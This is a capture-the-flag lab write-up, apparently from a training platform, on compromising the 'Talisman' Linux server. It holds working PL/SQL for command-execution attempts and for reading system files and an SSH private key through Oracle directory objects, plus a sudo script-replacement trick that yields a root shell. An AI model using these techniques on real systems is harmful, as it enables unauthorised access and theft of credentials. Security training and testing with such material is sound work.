> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/talisman.md).

# Talisman

{% embed url="<https://courses.hacksmarter.org/courses/5e5b9833-e6be-4fa0-aa4d-efd3086a612c>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario <a href="#user-content-scenario" id="user-content-scenario"></a>

#### Objective and Scope <a href="#user-content-objective-and-scope" id="user-content-objective-and-scope"></a>

You have been assigned a penetration test on a critical Linux server in the client's environment. The scope is strictly limited to a **single Linux server environment** designated as the target. The primary objective is to gain **root-level access** to this system to demonstrate maximum impact and the full extent of the security compromise to the client.

A set of leaked credentials, recently recovered from a third-party data breach, have been provided. While the specific service or application these credentials belong to is unknown, they serve as the initial vector for establishing a foothold.

**Leaked Credentials**

```
jane / Greattalisman1! 
```

## Recon

We start with a rustscan followed by services and default script scan, but we only find port `22` SSH and port `8978` to be open.

```
rustscan -a talisman.hsm -- -sC -sV
```

<figure><img src="/files/10oLAFU4UChDCOiZ8jKR" alt=""><figcaption></figcaption></figure>

On port `8978` a web server seems to be running.

<figure><img src="/files/tNwibFKKFfngpvjUsGGs" alt=""><figcaption></figcaption></figure>

Visting the site at `8978` reveals to us an instance of CloudBeaver Community. We log in using the credentials available from the scenario description:&#x20;

```
jane / Greattalisman1! 
```

<figure><img src="/files/leJYfyuMqIqEAjGZlY2G" alt=""><figcaption></figcaption></figure>

## Shell as oracle

After logging in we see an available Oracle connection on `172.17.0.1`. By clicking on that connection we see we have an SQL Editor available and are the user `DEV`. Besides `DEV` further users are available to chose from the drop down.

<figure><img src="/files/mqJyM1lpJXq1yFswn3Jw" alt=""><figcaption></figcaption></figure>

### Failed Attempt RCE

{% hint style="info" %}
The following sections shows two attempts to gain RCE which fail. Nevertheless, I wanted to give an insight into what I was working on. To solve the challenge, you can jump directly to the **File Read** section.
{% endhint %}

#### Oracle RCE via DBMS\_SCHEDULER

With the following PL/SQL block we try to create a scheduled job in Oracle that launches `/bin/sh` with the argument `-c "id"`. When enabled, it executes the `id` command on the underlying operating system, demonstrating command execution through `DBMS_SCHEDULER`. If that would have run successfully we could replace the id command with a reverse shell to get an interactive session on the machine.

```
BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name        => 'shelljob',
    job_type        => 'EXECUTABLE',
    job_action      => '/bin/sh',
    number_of_arguments => 1,
    enabled         => FALSE
  );

  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('shelljob',1,'-c "id"');
  DBMS_SCHEDULER.ENABLE('shelljob');
END;
```

<figure><img src="/files/QBkCrJOkz3Evb7NfqNp0" alt=""><figcaption></figcaption></figure>

#### RCE via Java Stored Procedure in Oracle

Since we are not allowed to create a scheduled job executing commands we try it with a Java Stored Procedure. Maybe that works out.&#x20;

Firs, we registers a Java method as a PL/SQL stored procedure `run_cmd` that can execute operating system commands via `ExecOS.runCmd()`.

{% code overflow="wrap" %}

```
BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE PROCEDURE run_cmd(p_cmd IN VARCHAR2) AS LANGUAGE JAVA NAME ''ExecOS.runCmd(java.lang.String)'';';
END;

```

{% endcode %}

<figure><img src="/files/CUk6niDNxji1uyBGMuJw" alt=""><figcaption></figcaption></figure>

Next, we verify that the procedure exists. We see it's actually valid. We have a stored procedure and no errors in our java source code.

```
SELECT object_name, status
FROM user_objects
WHERE object_name = 'RUN_CMD';

```

<figure><img src="/files/IdJAMyETgRddNk8M1xO4" alt=""><figcaption></figcaption></figure>

Now we try to call `run_cmd` with the argument `id`, causing the database to execute the `id` command on the host system. But we get an Error. We are missing the Permission to execute.

```
BEGIN run_cmd('id'); END;
```

<figure><img src="/files/bNj03h3Nh0HwGhVPrNz4" alt=""><figcaption></figcaption></figure>

### File Read

Since our two code execution attempts did not work, let's first check what permissions we actually have. We have the permission `DROP ANY DIRECTORY` and `CREATE ANY DIRECTORY`, which should allow us to rad files on the target system.

> ... the `CREATE` `DIRECTORY` statement to create a directory object. A directory object specifies an alias for a directory on the server file system where external binary file LOBs (`BFILE`s) and external table data are located. You can use directory names when referring to `BFILE`s in your PL/SQL code and OCI calls, rather than hard coding the operating system path name, for management flexibility.
>
> All directories are created in a single namespace and are not owned by an individual schema. You can secure access to the `BFILE`s stored within the directory structure by granting object privileges on the directories to specific users.

{% embed url="<https://docs.oracle.com/cd/B13789_01/server.101/b10759/statements_5007.htm>" %}

```
SELECT * FROM USER_SYS_PRIVS;
```

<figure><img src="/files/dSHlL18pEokCJZTj9aeh" alt=""><figcaption></figcaption></figure>

The following post on Stack Overflow gives us an idea of how we can read privileged files on the system.

{% embed url="<https://stackoverflow.com/questions/34221826/reading-file-from-text-file-using-pl-sql>" %}

We are using the second example crafting a more elegant query using `DBMS_XSLPROCESSOR.READ2CLOB`.

```
BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';
  DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));
END;
```

Let's break down what it actually dow:

#### `EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';`

* `EXECUTE IMMEDIATE` = run the SQL command dynamically.
* `CREATE OR REPLACE DIRECTORY` = tells Oracle to create a “directory object,” which is basically a pointer to an OS folder.
* `dir_etc` = the name you give to this Oracle object.
* `AS '/etc'` = points the object to the real filesystem directory `/etc`.
* The doubled single quotes (`''/etc''`) are just PL/SQL’s way of escaping quotes inside a string.

#### `DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));`

* `DBMS_XSLPROCESSOR.READ2CLOB` is a built-in Oracle function that can read a file into a CLOB (character large object).
* It takes two arguments:
  * The directory object name (`'DIR_ETC'`).
  * The filename within that directory (`'passwd'`).
* So this call reads `/etc/passwd` from the OS.
* `DBMS_OUTPUT.PUT_LINE` just prints it out to the SQL\*Plus / SQLcl output buffer so you can see it.

So with this command we are able to read `/etc/passwd`.

To show the output we click on the following symbol for `Server output` to be able to view the results.

<figure><img src="/files/8whPyZhuQFBMfCVrc2eV" alt=""><figcaption></figcaption></figure>

We evaluate the statement see that there is an `oracle` user.&#x20;

<figure><img src="/files/lC0NoFzUGeF9Pb0A0yD7" alt=""><figcaption></figcaption></figure>

Next, we could try to get file to receive access. One could be an SSH private key.

We check if we can access the `.ssh` folder by retrieving the `authorized_keys` file. There is also an entry, but we cannot derive which sort of a key might be there. Next, we could try some default names like `id_rsa` or `id_ed25519`.

```
BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir AS ''/home/oracle/.ssh''';
  DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','authorized_keys'));
END;
```

<figure><img src="/files/dPHlKbgclfEA0NrAi3gr" alt=""><figcaption></figcaption></figure>

We try to retrieve the `id_rsa` file in `.ssh`. And there is one. We get the private key of `oracle`.

```
BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir AS ''/home/oracle/.ssh''';
  DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR','id_rsa'));
END;
```

<figure><img src="/files/N1IJp0kw86N3L20McTbS" alt=""><figcaption></figcaption></figure>

We copy the key to our machine and change the permissions.

```
chmod 600 id_rsa
```

We connect as `oracle` via SSH using the key and are successful. We'll find the `user.txt` in the home directory. In theroy we could retrieve the key also with the file read permission in oracle.

```
ssh -i id_rsa oracle@talisman.hsm
```

<figure><img src="/files/ktRQXtgtgy2ma1IhxVg1" alt=""><figcaption></figcaption></figure>

## Shell as root

Next, we start our enumeration process on the target. While checking our permissions for sudo we see that we are able to execute the script `/opt/oracle/product/21c/dbhomeXE/root.sh` with `root` permssions without providing a password. If we could hijack that script we could gain `root` access.

```
sudo -l
```

We check the permissions on the foler `/opt/oracle/product/21c` and we are the owner of the folder. We do not have `write` permissions on `/opt/oracle/product/21c/dbhomeXE/root.sh`, but since we are the owner of the folder. We can just delete the script and replace it.

```
ls -lah /opt/oracle/product/21c
```

<figure><img src="/files/Swu7LznDZTigT1ONjxLH" alt=""><figcaption></figcaption></figure>

We remove the script.

```
rm /opt/oracle/product/21c/dbhomeXE/root.sh
```

And create a new one spawing us an interactive bash.&#x20;

{% code title="/opt/oracle/product/21c/dbhomeXE/root.sh" overflow="wrap" lineNumbers="true" %}

```
#!/bin/bash
/bin/bash -i
```

{% endcode %}

```
vi /opt/oracle/product/21c/dbhomeXE/root.sh
```

Now we add execute persmissions,...

```
chmod +x /opt/oracle/product/21c/dbhomeXE/root.sh
```

<figure><img src="/files/DMF8DuuhKMzO98Ghr1Hp" alt=""><figcaption></figcaption></figure>

..., and execute the script using `sudo`. We receive a `root` shell and are able to reach the final flag at `/root/root.txt`.

```
sudo /opt/oracle/product/21c/dbhomeXE/root.sh
```

<figure><img src="/files/AjYHIjy6wgoj5mxqUSrU" alt=""><figcaption></figcaption></figure>
